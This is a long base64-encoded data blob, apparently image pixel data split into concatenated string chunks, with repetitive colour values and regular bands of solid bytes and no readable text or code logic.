S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/29KD//// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////////////8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S/////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////////////////////Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv///////////////////////////////////////////////////////////////////////// + ////////////////////////////////////////////////////////////////////////y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L//////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////////////////////////////8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S/////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv///////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L//////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S/////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv///////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L//////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S/////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv///////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////////////////////y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L//////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + 